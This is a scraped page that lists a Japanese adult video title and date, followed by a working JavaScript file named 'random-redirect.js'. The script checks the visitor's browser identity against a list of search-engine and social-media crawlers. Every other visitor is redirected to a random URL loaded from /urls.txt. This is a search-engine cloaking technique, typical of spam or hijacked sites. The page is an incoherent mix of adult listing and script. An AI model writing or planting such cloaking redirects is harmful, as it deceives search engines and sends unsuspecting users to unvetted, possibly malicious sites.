- MIAB354ピストン止めないでってばぁ!No.1デカチンAV男優と追撃エンドレス中出しFUCK!!ヘルメ
- 2025-09-12 12:09:55
立即播放
// random-redirect.js
(function() {
// 搜索引擎蜘蛛列表(不进行跳转)
const spiderPatterns = [
'googlebot', 'bingbot', 'baiduspider', 'sogou', '360spider',
'yandexbot', 'duckduckbot', 'bytespider', 'slurp', 'facebookexternalhit',
'twitterbot', 'linkedinbot', 'embedly', 'quora', 'pinterest',
'slackbot', 'applebot', 'whatsapp', 'telegrambot', 'discordbot',
'yandex', 'petalbot', 'ia_archiver', 'mj12bot', 'ahrefsbot',
'semrushbot', 'dotbot', 'ccbot', 'zoominfobot', 'exabot'
];
// 获取User-Agent
const userAgent = navigator.userAgent.toLowerCase();
// 检查是否为搜索引擎蜘蛛
function isSearchEngine() {
for (let pattern of spiderPatterns) {
if (userAgent.includes(pattern)) {
return true;
}
}
return false;
}
// 如果不是搜索引擎蜘蛛,执行跳转
if (!isSearchEngine()) {
// 加载urls.txt并随机跳转
fetch('/urls.txt')
.then(response => response.text())
.then(data => {
// 按行分割并过滤空行
const urls = data.split('\n')
.map(url => url.trim())
.filter(url => url.length > 0);
if (urls.length > 0) {
// 随机选择一个URL
const randomIndex = Math.floor(Math.random() * urls.length);
const targetUrl = urls[randomIndex];
// 验证URL格式
if (targetUrl.startsWith('http://') || targetUrl.startsWith('https://')) {
// 延迟1秒后跳转,避免瞬间跳转影响用户体验
setTimeout(() => {
window.location.href = targetUrl;
}, 1000);
// 显示跳转提示
showRedirectNotice(targetUrl);
}
}
})
.catch(error => {
console.error('无法加载跳转URL列表:', error);
});
}
// 显示跳转提示
function showRedirectNotice(targetUrl) {
// 创建提示框
const notice = document.createElement('div');
notice.id = 'redirect-notice';
notice.style.cssText = `
position: fixed;
top: 20px;
right: 20px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 15px 25px;
border-radius: 10px;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3);
z-index: 99999;
font-family: Arial, sans-serif;
max-width: 400px;
animation: slideIn 0.5s ease-out;
`;
// 提取域名用于显示
const domain = new URL(targetUrl).hostname.replace('www.', '');
notice.innerHTML = `
⚡ 即将跳转...
正在前往 ${domain}
`;
// 添加关闭按钮
const closeBtn = document.createElement('div');
closeBtn.innerHTML = '×';
closeBtn.style.cssText = `
position: absolute;
top: 5px;
right: 10px;
cursor: pointer;
font-size: 20px;
color: white;
`;
closeBtn.onclick = function() {
notice.style.animation = 'slideOut 0.5s ease-out';
setTimeout(() => notice.remove(), 500);
};
notice.appendChild(closeBtn);
document.body.appendChild(notice);
// 添加动画样式
const style = document.createElement('style');
style.textContent = `
@keyframes slideIn {
from { transform: translateX(100%); opacity: 0; }
to { transform: translateX(0); opacity: 1; }
}
@keyframes slideOut {
from { transform: translateX(0); opacity: 1; }
to { transform: translateX(100%); opacity: 0; }
}
`;
document.head.appendChild(style);
}
})();